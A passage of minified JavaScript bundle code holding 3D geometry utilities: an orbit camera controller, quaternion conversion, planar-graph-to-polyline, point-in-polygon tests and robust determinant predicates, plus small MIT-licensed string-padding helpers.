Array(u),y=l===void 0?r:l,c=0;c<u;++c){for(var b=f[c],h=new Array(3),i=0;i<3;++i)h[i]=a[b[i]];for(var v=new Array(3),T=new Array(3),i=0;i<3;++i)v[i]=h[1][i]-h[0][i],T[i]=h[2][i]-h[0][i];for(var w=new Array(3),E=0,i=0;i<3;++i){var p=(i+1)%3,A=(i+2)%3;w[i]=v[p]*T[A]-v[A]*T[p],E+=w[i]*w[i]}E>y?E=1/Math.sqrt(E):E=0;for(var i=0;i<3;++i)w[i]*=E;s[c]=w}return s}},567:function(d){d.exports=g;function g(t,r,f,a,l,u,s,y,c,b){var h=r+u+b;if(i>0){var i=Math.sqrt(h+1);t[0]=.5*(s-c)/i,t[1]=.5*(y-a)/i,t[2]=.5*(f-u)/i,t[3]=.5*i}else{var v=Math.max(r,u,b),i=Math.sqrt(2*v-h+1);r>=v?(t[0]=.5*i,t[1]=.5*(l+f)/i,t[2]=.5*(y+a)/i,t[3]=.5*(s-c)/i):u>=v?(t[0]=.5*(f+l)/i,t[1]=.5*i,t[2]=.5*(c+s)/i,t[3]=.5*(y-a)/i):(t[0]=.5*(a+y)/i,t[1]=.5*(s+c)/i,t[2]=.5*i,t[3]=.5*(f-l)/i)}return t}},7774:function(d,g,t){d.exports=i;var r=t(8444),f=t(3012),a=t(5950),l=t(7437),u=t(567);function s(v,T,w){return Math.sqrt(Math.pow(v,2)+Math.pow(T,2)+Math.pow(w,2))}function y(v,T,w,E){return Math.sqrt(Math.pow(v,2)+Math.pow(T,2)+Math.pow(w,2)+Math.pow(E,2))}function c(v,T){var w=T[0],E=T[1],p=T[2],A=T[3],m=y(w,E,p,A);m>1e-6?(v[0]=w/m,v[1]=E/m,v[2]=p/m,v[3]=A/m):(v[0]=v[1]=v[2]=0,v[3]=1)}function b(v,T,w){this.radius=r([w]),this.center=r(T),this.rotation=r(v),this.computedRadius=this.radius.curve(0),this.computedCenter=this.center.curve(0),this.computedRotation=this.rotation.curve(0),this.computedUp=[.1,0,0],this.computedEye=[.1,0,0],this.computedMatrix=[.1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],this.recalcMatrix(0)}var h=b.prototype;h.lastT=function(){return Math.max(this.radius.lastT(),this.center.lastT(),this.rotation.lastT())},h.recalcMatrix=function(v){this.radius.curve(v),this.center.curve(v),this.rotation.curve(v);var T=this.computedRotation;c(T,T);var w=this.computedMatrix;a(w,T);var E=this.computedCenter,p=this.computedEye,A=this.computedUp,m=Math.exp(this.computedRadius[0]);p[0]=E[0]+m*w[2],p[1]=E[1]+m*w[6],p[2]=E[2]+m*w[10],A[0]=w[1],A[1]=w[5],A[2]=w[9];for(var n=0;n<3;++n){for(var C=0,x=0;x<3;++x)C+=w[n+4*x]*p[x];w[12+n]=-C}},h.getMatrix=function(v,T){this.recalcMatrix(v);var w=this.computedMatrix;if(T){for(var E=0;E<16;++E)T[E]=w[E];return T}return w},h.idle=function(v){this.center.idle(v),this.radius.idle(v),this.rotation.idle(v)},h.flush=function(v){this.center.flush(v),this.radius.flush(v),this.rotation.flush(v)},h.pan=function(v,T,w,E){T=T||0,w=w||0,E=E||0,this.recalcMatrix(v);var p=this.computedMatrix,A=p[1],m=p[5],n=p[9],C=s(A,m,n);A/=C,m/=C,n/=C;var x=p[0],I=p[4],k=p[8],B=x*A+I*m+k*n;x-=A*B,I-=m*B,k-=n*B;var _=s(x,I,k);x/=_,I/=_,k/=_,p[2],p[6],p[10];var F=x*T+A*w,O=I*T+m*w,z=k*T+n*w;this.center.move(v,F,O,z);var N=Math.exp(this.computedRadius[0]);N=Math.max(1e-4,N+E),this.radius.set(v,Math.log(N))},h.rotate=function(v,T,w,E){this.recalcMatrix(v),T=T||0,w=w||0;var p=this.computedMatrix,A=p[0],m=p[4],n=p[8],C=p[1],x=p[5],I=p[9],k=p[2],B=p[6],_=p[10],F=T*A+w*C,O=T*m+w*x,z=T*n+w*I,N=-(B*z-_*O),G=-(_*F-k*z),J=-(k*O-B*F),q=Math.sqrt(Math.max(0,1-Math.pow(N,2)-Math.pow(G,2)-Math.pow(J,2))),ne=y(N,G,J,q);ne>1e-6?(N/=ne,G/=ne,J/=ne,q/=ne):(N=G=J=0,q=1);var fe=this.computedRotation,X=fe[0],W=fe[1],V=fe[2],Y=fe[3],Q=X*q+Y*N+W*J-V*G,ie=W*q+Y*G+V*N-X*J,j=V*q+Y*J+X*G-W*N,K=Y*q-X*N-W*G-V*J;if(E){N=k,G=B,J=_;var oe=Math.sin(E)/s(N,G,J);N*=oe,G*=oe,J*=oe,q=Math.cos(T),Q=Q*q+K*N+ie*J-j*G,ie=ie*q+K*G+j*N-Q*J,j=j*q+K*J+Q*G-ie*N,K=K*q-Q*N-ie*G-j*J}var re=y(Q,ie,j,K);re>1e-6?(Q/=re,ie/=re,j/=re,K/=re):(Q=ie=j=0,K=1),this.rotation.set(v,Q,ie,j,K)},h.lookAt=function(v,T,w,E){this.recalcMatrix(v),w=w||this.computedCenter,T=T||this.computedEye,E=E||this.computedUp;var p=this.computedMatrix;f(p,T,w,E);var A=this.computedRotation;u(A,p[0],p[1],p[2],p[4],p[5],p[6],p[8],p[9],p[10]),c(A,A),this.rotation.set(v,A[0],A[1],A[2],A[3]);for(var m=0,n=0;n<3;++n)m+=Math.pow(w[n]-T[n],2);this.radius.set(v,.5*Math.log(Math.max(m,1e-6))),this.center.set(v,w[0],w[1],w[2])},h.translate=function(v,T,w,E){this.center.move(v,T||0,w||0,E||0)},h.setMatrix=function(v,T){var w=this.computedRotation;u(w,T[0],T[1],T[2],T[4],T[5],T[6],T[8],T[9],T[10]),c(w,w),this.rotation.set(v,w[0],w[1],w[2],w[3]);var E=this.computedMatrix;l(E,T);var p=E[15];if(Math.abs(p)>1e-6){var A=E[12]/p,m=E[13]/p,n=E[14]/p;this.recalcMatrix(v);var C=Math.exp(this.computedRadius[0]);this.center.set(v,A-E[2]*C,m-E[6]*C,n-E[10]*C),this.radius.idle(v)}else this.center.idle(v),this.radius.idle(v)},h.setDistance=function(v,T){T>0&&this.radius.set(v,Math.log(T))},h.setDistanceLimits=function(v,T){v>0?v=Math.log(v):v=-1/0,T>0?T=Math.log(T):T=1/0,T=Math.max(T,v),this.radius.bounds[0][0]=v,this.radius.bounds[1][0]=T},h.getDistanceLimits=function(v){var T=this.radius.bounds;return v?(v[0]=Math.exp(T[0][0]),v[1]=Math.exp(T[1][0]),v):[Math.exp(T[0][0]),Math.exp(T[1][0])]},h.toJSON=function(){return this.recalcMatrix(this.lastT()),{center:this.computedCenter.slice(),rotation:this.computedRotation.slice(),distance:Math.log(this.computedRadius[0]),zoomMin:this.radius.bounds[0][0],zoomMax:this.radius.bounds[1][0]}},h.fromJSON=function(v){var T=this.lastT(),w=v.center;w&&this.center.set(T,w[0],w[1],w[2]);var E=v.rotation;E&&this.rotation.set(T,E[0],E[1],E[2],E[3]);var p=v.distance;p&&p>0&&this.radius.set(T,Math.log(p)),this.setDistanceLimits(v.zoomMin,v.zoomMax)};function i(v){v=v||{};var T=v.center||[0,0,0],w=v.rotation||[0,0,0,1],E=v.radius||1;T=[].slice.call(T,0,3),w=[].slice.call(w,0,4),c(w,w);var p=new b(w,T,Math.log(E));return p.setDistanceLimits(v.zoomMin,v.zoomMax),("eye"in v||"up"in v)&&p.lookAt(0,v.eye,v.center,v.up),p}},4930:function(d,g,t){/*!
* pad-left <https://github.com/jonschlinkert/pad-left>
*
* Copyright (c) 2014-2015, Jon Schlinkert.
* Licensed under the MIT license.
*/var r=t(6184);d.exports=function(a,l,u){return u=typeof u<"u"?u+"":" ",r(u,l)+a}},4405:function(d){d.exports=function(t,r){r||(r=[0,""]),t=String(t);var f=parseFloat(t,10);return r[0]=f,r[1]=t.match(/[\d.\-\+]*\s*(.*)/)[1]||"",r}},4166:function(d,g,t){d.exports=f;var r=t(9398);function f(a,l){for(var u=l.length|0,s=a.length,y=[new Array(u),new Array(u)],c=0;c<u;++c)y[0][c]=[],y[1][c]=[];for(var c=0;c<s;++c){var b=a[c];y[0][b[0]].push(b),y[1][b[1]].push(b)}for(var h=[],c=0;c<u;++c)y[0][c].length+y[1][c].length===0&&h.push([c]);function i(m,n){var C=y[n][m[n]];C.splice(C.indexOf(m),1)}function v(m,n,C){for(var x,I,k,B=0;B<2;++B)if(y[B][n].length>0){x=y[B][n][0],k=B;break}I=x[k^1];for(var _=0;_<2;++_)for(var F=y[_][n],O=0;O<F.length;++O){var z=F[O],N=z[_^1],G=r(l[m],l[n],l[I],l[N]);G>0&&(x=z,I=N,k=_)}return C||x&&i(x,k),I}function T(m,n){var C=y[n][m][0],x=[m];i(C,n);for(var I=C[n^1];;){for(;I!==m;)x.push(I),I=v(x[x.length-2],I,!1);if(y[0][m].length+y[1][m].length===0)break;var k=x[x.length-1],B=m,_=x[1],F=v(k,B,!0);if(r(l[k],l[B],l[_],l[F])<0)break;x.push(m),I=v(k,B)}return x}function w(m,n){return n[1]===n[n.length-1]}for(var c=0;c<u;++c)for(var E=0;E<2;++E){for(var p=[];y[E][c].length>0;){y[0][c].length;var A=T(c,E);w(p,A)?p.push.apply(p,A):(p.length>0&&h.push(p),p=A)}p.length>0&&h.push(p)}return h}},3959:function(d,g,t){d.exports=f;var r=t(8348);function f(a,l){for(var u=r(a,l.length),s=new Array(l.length),y=new Array(l.length),c=[],b=0;b<l.length;++b){var h=u[b].length;y[b]=h,s[b]=!0,h<=1&&c.push(b)}for(;c.length>0;){var i=c.pop();s[i]=!1;for(var v=u[i],b=0;b<v.length;++b){var T=v[b];--y[T]===0&&c.push(T)}}for(var w=new Array(l.length),E=[],b=0;b<l.length;++b)if(s[b]){var i=E.length;w[b]=i,E.push(l[b])}else w[b]=-1;for(var p=[],b=0;b<a.length;++b){var A=a[b];s[A[0]]&&s[A[1]]&&p.push([w[A[0]],w[A[1]]])}return[p,E]}},8040:function(d,g,t){d.exports=h;var r=t(8348),f=t(4166),a=t(211),l=t(9660),u=t(9662),s=t(1215),y=t(3959);function c(i,v){for(var T=new Array(i),w=0;w<i;++w)T[w]=v;return T}function b(i){for(var v=new Array(i),T=0;T<i;++T)v[T]=[];return v}function h(i,v){var K=y(i,v);i=K[0],v=K[1];var T=v.length;i.length;for(var w=r(i,v.length),E=0;E<T;++E)if(w[E].length%2===1)throw new Error("planar-graph-to-polyline: graph must be manifold");var p=f(i,v);function A(ke){for(var _e=ke.length,be=[0],ge=0;ge<_e;++ge){var Te=v[ke[ge]],Fe=v[ke[(ge+1)%_e]],Oe=l(-Te[0],Te[1]),Ce=l(-Te[0],Fe[1]),Be=l(Fe[0],Te[1]),$e=l(Fe[0],Fe[1]);be=u(be,u(u(Oe,Ce),u(Be,$e)))}return be[be.length-1]>0}p=p.filter(A);for(var m=p.length,n=new Array(m),C=new Array(m),E=0;E<m;++E){n[E]=E;var x=new Array(m),I=p[E].map(function(_e){return v[_e]}),k=a([I]),B=0;e:for(var _=0;_<m;++_)if(x[_]=0,E!==_){for(var F=p[_],O=F.length,z=0;z<O;++z){var N=k(v[F[z]]);if(N!==0){N<0&&(x[_]=1,B+=1);continue e}}x[_]=1,B+=1}C[E]=[B,E,x]}C.sort(function(ke,_e){return _e[0]-ke[0]});for(var E=0;E<m;++E)for(var x=C[E],G=x[1],J=x[2],_=0;_<m;++_)J[_]&&(n[_]=G);for(var q=b(m),E=0;E<m;++E)q[E].push(n[E]),q[n[E]].push(E);for(var ne={},fe=c(T,!1),E=0;E<m;++E)for(var F=p[E],O=F.length,_=0;_<O;++_){var X=F[_],W=F[(_+1)%O],V=Math.min(X,W)+":"+Math.max(X,W);if(V in ne){var Y=ne[V];q[Y].push(E),q[E].push(Y),fe[X]=fe[W]=!0}else ne[V]=E}function Q(ke){for(var _e=ke.length,be=0;be<_e;++be)if(!fe[ke[be]])return!1;return!0}for(var ie=[],j=c(m,-1),E=0;E<m;++E)n[E]===E&&!Q(p[E])?(ie.push(E),j[E]=0):j[E]=-1;for(var K=[];ie.length>0;){var oe=ie.pop(),re=q[oe];s(re,function(ke,_e){return ke-_e});var le=re.length,pe=j[oe],we;if(pe===0){var F=p[oe];we=[F]}for(var E=0;E<le;++E){var xe=re[E];if(!(j[xe]>=0)&&(j[xe]=pe^1,ie.push(xe),pe===0)){var F=p[xe];Q(F)||(F.reverse(),we.push(F))}}pe===0&&K.push(we)}return K}},211:function(d,g,t){d.exports=v;var r=t(417)[3],f=t(4385),a=t(9014),l=t(5070);function u(){return!0}function s(T){return function(w,E){var p=T[w];return p?!!p.queryPoint(E,u):!1}}function y(T){for(var w={},E=0;E<T.length;++E){var p=T[E],A=p[0][0],m=p[0][1],n=p[1][1],C=[Math.min(m,n),Math.max(m,n)];A in w?w[A].push(C):w[A]=[C]}for(var x={},I=Object.keys(w),E=0;E<I.length;++E){var k=w[I[E]];x[I[E]]=a(k)}return s(x)}function c(T,w){return function(E){var p=l.le(w,E[0]);if(p<0)return 1;var A=T[p];if(!A)if(p>0&&w[p]===E[0])A=T[p-1];else return 1;for(var m=1;A;){var n=A.key,C=r(E,n[0],n[1]);if(n[0][0]<n[1][0])if(C<0)A=A.left;else if(C>0)m=-1,A=A.right;else return 0;else if(C>0)A=A.left;else if(C<0)m=1,A=A.right;else return 0}return m}}function b(T){return 1}function h(T){return function(E){return T(E[0],E[1])?0:1}}function i(T,w){return function(p){return T(p[0],p[1])?0:w(p)}}function v(T){for(var w=T.length,E=[],p=[],A=0;A<w;++A)for(var m=T[A],n=m.length,C=n-1,x=0;x<n;C=x++){var I=m[C],k=m[x];I[0]===k[0]?p.push([I,k]):E.push([I,k])}if(E.length===0)return p.length===0?b:h(y(p));var B=f(E),_=c(B.slabs,B.coordinates);return p.length===0?_:i(y(p),_)}},7309:function(d){var g=new Float64Array(4),t=new Float64Array(4),r=new Float64Array(4);function f(a,l,u,s,y){g.length<s.length&&(g=new Float64Array(s.length),t=new Float64Array(s.length),r=new Float64Array(s.length));for(var c=0;c<s.length;++c)g[c]=a[c]-s[c],t[c]=l[c]-a[c],r[c]=u[c]-a[c];for(var b=0,h=0,i=0,v=0,T=0,w=0,c=0;c<s.length;++c){var E=t[c],p=r[c],A=g[c];b+=E*E,h+=E*p,i+=p*p,v+=A*E,T+=A*p,w+=A*A}var m=Math.abs(b*i-h*h),n=h*T-i*v,C=h*v-b*T,x;if(n+C<=m)if(n<0)C<0&&v<0?(C=0,-v>=b?(n=1,x=b+2*v+w):(n=-v/b,x=v*n+w)):(n=0,T>=0?(C=0,x=w):-T>=i?(C=1,x=i+2*T+w):(C=-T/i,x=T*C+w));else if(C<0)C=0,v>=0?(n=0,x=w):-v>=b?(n=1,x=b+2*v+w):(n=-v/b,x=v*n+w);else{var I=1/m;n*=I,C*=I,x=n*(b*n+h*C+2*v)+C*(h*n+i*C+2*T)+w}else{var k,B,_,F;n<0?(k=h+v,B=i+T,B>k?(_=B-k,F=b-2*h+i,_>=F?(n=1,C=0,x=b+2*v+w):(n=_/F,C=1-n,x=n*(b*n+h*C+2*v)+C*(h*n+i*C+2*T)+w)):(n=0,B<=0?(C=1,x=i+2*T+w):T>=0?(C=0,x=w):(C=-T/i,x=T*C+w))):C<0?(k=h+T,B=b+v,B>k?(_=B-k,F=b-2*h+i,_>=F?(C=1,n=0,x=i+2*T+w):(C=_/F,n=1-C,x=n*(b*n+h*C+2*v)+C*(h*n+i*C+2*T)+w)):(C=0,B<=0?(n=1,x=b+2*v+w):v>=0?(n=0,x=w):(n=-v/b,x=v*n+w))):(_=i+T-h-v,_<=0?(n=0,C=1,x=i+2*T+w):(F=b-2*h+i,_>=F?(n=1,C=0,x=b+2*v+w):(n=_/F,C=1-n,x=n*(b*n+h*C+2*v)+C*(h*n+i*C+2*T)+w)))}for(var O=1-n-C,c=0;c<s.length;++c)y[c]=O*a[c]+n*l[c]+C*u[c];return x<0?0:x}d.exports=f},1116:function(d,g,t){d.exports=t(6093)},7584:function(d,g,t){var r=t(1539);d.exports=f;function f(a,l){for(var u=a.length,s=new Array(u),y=0;y<u;++y)s[y]=r(a[y],l[y]);return s}},2826:function(d,g,t){d.exports=f;var r=t(5125);function f(a){for(var l=new Array(a.length),u=0;u<a.length;++u)l[u]=r(a[u]);return l}},4469:function(d,g,t){var r=t(5125),f=t(3962);d.exports=a;function a(l,u){for(var s=r(u),y=l.length,c=new Array(y),b=0;b<y;++b)c[b]=f(l[b],s);return c}},6695:function(d,g,t){var r=t(4354);d.exports=f;function f(a,l){for(var u=a.length,s=new Array(u),y=0;y<u;++y)s[y]=r(a[y],l[y]);return s}},7037:function(d,g,t){var r=t(9209),f=t(1284),a=t(9887);d.exports=l;function l(u){u.sort(f);for(var s=u.length,y=0,c=0;c<s;++c){var b=u[c],h=a(b);if(h!==0){if(y>0){var i=u[y-1];if(r(b,i)===0&&a(i)!==h){y-=1;continue}}u[y++]=b}}return u.length=y,u}},6184:function(d){/*!
* repeat-string <https://github.com/jonschlinkert/repeat-string>
*
* Copyright (c) 2014-2015, Jon Schlinkert.
* Licensed under the MIT License.
*/var g="",t;d.exports=r;function r(f,a){if(typeof f!="string")throw new TypeError("expected a string");if(a===1)return f;if(a===2)return f+f;var l=f.length*a;if(t!==f||typeof t>"u")t=f,g="";else if(g.length>=l)return g.substr(0,l);for(;l>g.length&&a>1;)a&1&&(g+=f),a>>=1,f+=f;return g+=f,g=g.substr(0,l),g}},8161:function(d,g,t){d.exports=t.g.performance&&t.g.performance.now?function(){return performance.now()}:Date.now||function(){return+new Date}},402:function(d){d.exports=g;function g(t){for(var r=t.length,f=t[t.length-1],a=r,l=r-2;l>=0;--l){var u=f,s=t[l];f=u+s;var y=f-u,c=s-y;c&&(t[--a]=f,f=c)}for(var b=0,l=a;l<r;++l){var u=t[l],s=f;f=u+s;var y=f-u,c=s-y;c&&(t[b++]=c)}return t[b++]=f,t.length=b,t}},8167:function(d,g,t){var r=t(9660),f=t(9662),a=t(8289),l=t(402),u=6;function s(w,E,p,A){return function(n){return A(w(p(n[0][0],n[1][1]),p(-n[0][1],n[1][0])))}}function y(w,E,p,A){return function(n){return A(w(E(w(p(n[1][1],n[2][2]),p(-n[1][2],n[2][1])),n[0][0]),w(E(w(p(n[1][0],n[2][2]),p(-n[1][2],n[2][0])),-n[0][1]),E(w(p(n[1][0],n[2][1]),p(-n[1][1],n[2][0])),n[0][2]))))}}function c(w,E,p,A){return function(n){return A(w(w(E(w(E(w(p(n[2][2],n[3][3]),p(-n[2][3],n[3][2])),n[1][1]),w(E(w(p(n[2][1],n[3][3]),p(-n[2][3],n[3][1])),-n[1][2]),E(w(p(n[2][1],n[3][2]),p(-n[2][2],n[3][1])),n[1][3]))),n[0][0]),E(w(E(w(p(n[2][2],n[3][3]),p(-n[2][3],n[3][2])),n[1][0]),w(E(w(p(n[2][0],n[3][3]),p(-n[2][3],n[3][0])),-n[1][2]),E(w(p(n[2][0],n[3][2]),p(-n[2][2],n[3][0])),n[1][3]))),-n[0][1])),w(E(w(E(w(p(n[2][1],n[3][3]),p(-n[2][3],n[3][1])),n[1][0]),w(E(w(p(n[2][0],n[3][3]),p(-n[2][3],n[3][0])),-n[1][1]),E(w(p(n[2][0],n[3][1]),p(-n[2][1],n[3][0])),n[1][3]))),n[0][2]),E(w(E(w(p(n[2][1],n[3][2]),p(-n[2][2],n[3][1])),n[1][0]),w(E(w(p(n[2][0],n[3][2]),p(-n[2][2],n[3][0])),-n[1][1]),E(w(p(n[2][0],n[3][1]),p(-n[2][1],n[3][0])),n[1][2]))),-n[0][3]))))}}function b(w,E,p,A){return function(n){return A(w(w(E(w(w(E(w(E(w(p(n[3][3],n[4][4]),p(-n[3][4],n[4][3])),n[2][2]),w(E(w(p(n[3][2],n[4][4]),p(-n[3][4],n[4][2])),-n[2][3]),E(w(p(n[3][2],n[4][3]),p(-n[3][3],n[4][2])),n[2][4]))),n[1][1]),E(w(E(w(p(n[3][3],n[4][4]),p(-n[3][4],n[4][3])),n[2][1]),w(E(w(p(n[3][1],n[4][4]),p(-n[3][4],n[4][1])),-n[2][3]),E(w(p(n[3][1],n[4][3]),p(-n[3][3],n[4][1])),n[2][4]))),-n[1][2])),w(E(w(E(w(p(n[3][2],n[4][4]),p(-n[3][4],n[4][2])),n[2][1]),w(E(w(p(n[3][1],n[4][4]),p(-n[3][4],n[4][1])),-n[2][2]),E(w(p(n[3][1],n[4][2]),p(-n[3][2],n[4][1])),n[2][4]))),n[1][3]),E(w(E(w(p(n[3][2],n[4][3]),p(-n[3][3],n[4][2])),n[2][1]),w(E(w(p(n[3][1],n[4][3]),p(-n[3][3],n[4][1])),-n[2][2]),E(w(p(n[3][1],n[4][2]),p(-n[3][2],n[4][1])),n[2][3]))),-n[1][4]))),n[0][0]),E(w(w(E(w(E(w(p(n[3][3],n[4][4]),p(-n[3][4],n[4][3])),n[2][2]),w(E(w(p(n[3][2],n[4][4]),p(-n[3][4],n[4][2])),-n[2][3]),E(w(p(n[3][2],n[4][3]),p(-n[3][3],n[4][2])),n[2][4]))),n[1][0]),E(w(E(w(p(n[3][3],n[4][4]),p(-n[3][4],n[4][3])),n[2][0]),w(E(w(p(n[3][0],n[4][4]),p(-n[3][4],n[4][0])),-n[2][3]),E(w(p(n[3][0],n[4][3]),p(-n[3][3],n[4][0])),n[2][4]))),-n[1][2])),w(E(w(E(w(p(n[3][2],n[4][4]),p(-n[3][4],n[4][2])),n[2][0]),w(E(w(p(n[3][0],n[4][4]),p(-n[3][4],n[4][0])),-n[2][2]),E(w(p(n[3][0],n[4][2]),p(-n[3][2],n[4][0])),n[2][4]))),n[1][3]),E(w(E(w(p(n[3][2],n[4][3]),p(-n[3][3],n[4][2])),n[2][0]),w(E(w(p(n[3][0],n[4][3]),p(-n[3][3],n[4][0])),-n[2][2]),E(w(p(n[3][0],n[4][2]),p(-n[3][2],n[4][0])),n[2][3]))),-n[1][4]))),-n[0][1])),w(E(w(w(E(w(E(w(p(n[3][3],n[4][4]),p(-n[3][4],n[4][3])),n[2][1]),w(E(w(p(n[3][1],n[4][4]),p(-n[3][4],n[4][1])),-n[2][3]),E(w(p(n[3][1],n[4][3]),p(-n[3][3],n[4][1])),n[2][4]))),n[1][0]),E(w(E(w(p(n[3][3],n[4][4]),p(-n[3][4],n[4][3])),n[2][0]),w(E(w(p(n[3][0],n[4][4]),p(-n[3][4],n[4][0])),-n[2][3]),E(w(p(n[3][0],n[4][3]),p(-n[3][3],n[4][0])),n[2][4]))),-n[1][1])),w(E(w(E(w(p(n[3][1],n[4][4]),p(-n[3][4],n[4][1])),n[2][0]),w(E(w(p(n[3][0],n[4][4]),p(-n[3][4],n[4][0])),-n[2][1]),E(w(p(n[3][0],n[4][1]),p(-n[3][1],n[4][0])),n[2][4]))),n[1][3]),E(w(E(w(p(n[3][1],n[4][3]),p(-n[3][3],n[4][1])),n[2][0]),w(E(w(p(n[3][0],n[4][3]),p(-n[3][3],n[4][0])),-n[2][1]),E(w(p(n[3][0],n[4][1]),p(-n[3][1],n[4][0])),n[2][3]))),-n[1][4]))),n[0][2]),w(E(w(w(E(w(E(w(p(n[3][2],n[4][4]),p(-n[3][4],n[4][2])),n[2][1]),w(E(w(p(n[3][1],n[4][4]),p(-n[3][4],n[4][1])),-n[2][2]),E(w(p(n[3][1],n[4][2]),p(-n[3][2],n[4][1])),n[2][4]))),n[1][0]),E(w(E(w(p(n[3][2],n[4][4]),p(-n[3][4],n[4][2])),n[2][0]),w(E(w(p(n[3][0],n[4][4]),p(-n[3][4],n[4][0])),-n[2][2]),E(w(p(n[3][0],n[4][2]),p(-n[3][2],n[4][0])),n[2][4]))),-n[1][1])),w(E(w(E(w(p(n[3][1],n[4][4]),p(-n[3][4],n[4][1])),n[2][0]),w(E(w(p(n[3][0],n[4][4]),p(-n[3][4],n[4][0])),-n[2][1]),E(w(p(n[3][0],n[4][1]),p(-n[3][1],n[4][0])),n[2][4]))),n[1][2]),E(w(E(w(p(n[3][1],n[4][2]),p(-n[3][2],n[4][1])),n[2][0]),w(E(w(p(n[3][0],n[4][2]),p(-n[3][2],n[4][0])),-n[2][1]),E(w(p(n[3][0],n[4][1]),p(-n[3][1],n[4][0])),n[2][2]))),-n[1][4]))),-n[0][3]),E(w(w(E(w(E(w(p(n[3][2],n[4][3]),p(-n[3][3],n[4][2])),n[2][1]),w(E(w(p(n[3][1],n[4][3]),p(-n[3][3],n[4][1])),-n[2][2]),E(w(p(n[3][1],n[4][2]),p(-n[3][2],n[4][1])),n[2][3]))),n[1][0]),E(w(E(w(p(n[3][2],n[4][3]),p(-n[3][3],n[4][2])),n[2][0]),w(E(w(p(n[3][0],n[4][3]),p(-n[3][3],n[4][0])),-n[2][2]),E(w(p(n[3][0],n[4][2]),p(-n[3][2],n[4][0])),n[2][3]))),-n[1][1])),w(E(w(E(w(p(n[3][1],n[4][3]),p(-n[3][3],n[4][1])),n[2][0]),w(E(w(p(n[3][0],n[4][3]),p(-n[3][3],n[4][0])),-n[2][1]),E(w(p(n[3][0],n[4][1]),p(-n[3][1],n[4][0])),n[2][3]))),n[1][2]),E(w(E(w(p(n[3][1],n[4][2]),p(-n[3][2],n[4][1])),n[2][0]),w(E(w(p(n[3][0],n[4][2]),p(-n[3][2],n[4][0])),-n[2][1]),E(w(p(n[3][0],n[4][1]),p(-n[3][1],n[4][0])),n[2][2]))),-n[1][3]))),n[0][4])))))}}function h(w){var E=w===2?s:w===3?y:w===4?c:w===5?b:void 0;return E(f,a,r,l)}var i=[function(){return[0]},function(E){return[E[0][0]]}];function v(w,E,p,A,m,n,C,x){return function(k){switch(k.length){case 0:return w(k);case 1:return E(k);case 2:return p(k);case 3:return A(k);case 4:return m(k);case 5:return n(k)}var B=C[k.length];return B||(B=C[k.length]=x(k.length)),B(k)}}function T(){for(;i.length<u;)i.push(h(i.length));d.exports=v.apply(void 0,i.concat([i,h]));for(var w=0;w<i.length;++w)d.exports[w]=i[w]}T()},9130:function(d,g,t){var r=t(9660),f=t(9662);d.exports=a;function a(l,u){for(var s=r(l[0],u[0]),y=1;y<l.length;++y)s=f(s,r(l[y],u[y]));return s}},2227:function(d,g,t){var r=t(9660),f=t(9662),a=t(4078),l=t(8289),u=6;function s(m){var n=m===3?h:m===4?i:m===5?v:T;return n(f,a,r,l)}function y(){return 0}function c(){return 0}function b(){return 0}function h(m,n,C,x){function I(k,B,_){var F=C(k[0],k[0]),O=x(F,B[0]),z=x(F,_[0]),N=C(B[0],B[0]),G=x(N,k[0]),J=x(N,_[0]),q=C(_[0],_[0]),ne=x(q,k[0]),fe=x(q,B[0]),X=m(n(fe,J),n(G,O)),W=n(ne,z),V=n(X,W);return V[V.length-1]}return I}function i(m,n,C,x){function I(k,B,_,F){var O=m(C(k[0],k[0]),C(k[1],k[1])),z=x(O,B[0]),N=x(O,_[0]),G=x(O,F[0]),J=m(C(B[0],B[0]),C(B[1],B[1])),q=x(J,k[0]),ne=x(J,_[0]),fe=x(J,F[0]),X=m(C(_[0],_[0]),C(_[1],_[1])),W=x(X,k[0]),V=x(X,B[0]),Y=x(X,F[0]),Q=m(C(F[0],F[0]),C(F[1],F[1])),ie=x(Q,k[0]),j=x(Q,B[0]),K=x(Q,_[0]),oe=m(m(x(n(K,Y),B[1]),m(x(n(j,fe),-_[1]),x(n(V,ne),F[1]))),m(x(n(j,fe),k[1]),m(x(n(ie,G),-B[1]),x(n(q,z),F[1])))),re=m(m(x(n(K,Y),k[1]),m(x(n(ie,G),-_[1]),x(n(W,N),F[1]))),m(x(n(V,ne),k[1]),m(x(n(W,N),-B[1]),x(n(q,z),_[1])))),le=n(oe,re);return le[le.length-1]}return I}function v(m,n,C,x){function I(k,B,_,F,O){var z=m(C(k[0],k[0]),m(C(k[1],k[1]),C(k[2],k[2]))),N=x(z,B[0]),G=x(z,_[0]),J=x(z,F[0]),q=x(z,O[0]),ne=m(C(B[0],B[0]),m(C(B[1],B[1]),C(B[2],B[2]))),fe=x(ne,k[0]),X=x(ne,_[0]),W=x(ne,F[0]),V=x(ne,O[0]),Y=m(C(_[0],_[0]),m(C(_[1],_[1]),C(_[2],_[2]))),Q=x(Y,k[0]),ie=x(Y,B[0]),j=x(Y,F[0]),K=x(Y,O[0]),oe=m(C(F[0],F[0]),m(C(F[1],F[1]),C(F[2],F[2]))),re=x(oe,k[0]),le=x(oe,B[0]),pe=x(oe,_[0]),we=x(oe,O[0]),xe=m(C(O[0],O[0]),m(C(O[1],O[1]),C(O[2],O[2]))),ke=x(xe,k[0]),_e=x(xe,B[0]),be=x(xe,_[0]),ge=x(xe,F[0]),Te=m(m(m(x(m(x(n(ge,we),_[1]),m(x(n(be,K),-F[1]),x(n(pe,j),O[1]))),B[2]),m(x(m(x(n(ge,we),B[1]),m(x(n(_e,V),-F[1]),x(n(le,W),O[1]))),-_[2]),x(m(x(n(be,K),B[1]),m(x(n(_e,V),-_[1]),x(n(ie,X),O[1]))),F[2]))),m(x(m(x(n(pe,j),B[1]),m(x(n(le,W),-_[1]),x(n(ie,X),F[1]))),-O[2]),m(x(m(x(n(ge,we),B[1]),m(x(n(_e,V),-F[1]),x(n(le,W),O[1]))),k[2]),x(m(x(n(ge,we),k[1]),m(x(n(ke,q),-F[1]),x(n(re,J),O[1]))),-B[2])))),m(m(x(m(x(n(_e,V),k[1]),m(x(n(ke,q),-B[1]),x(n(fe,N),O[1]))),F[2]),m(x(m(x(n(le,W),k[1]),m(x(n(re,J),-B[1]),x(n(fe,N),F[1]))),-O[2]),x(m(x(n(pe,j),B[1]),m(x(n(le,W),-_[1]),x(n(ie,X),F[1]))),k[2]))),m(x(m(x(n(pe,j),k[1]),m(x(n(re,J),-_[1]),x(n(Q,G),F[1]))),-B[2]),m(x(m(x(n(le,W),k[1]),m(x(n(re,J),-B[1]),x(n(fe,N),F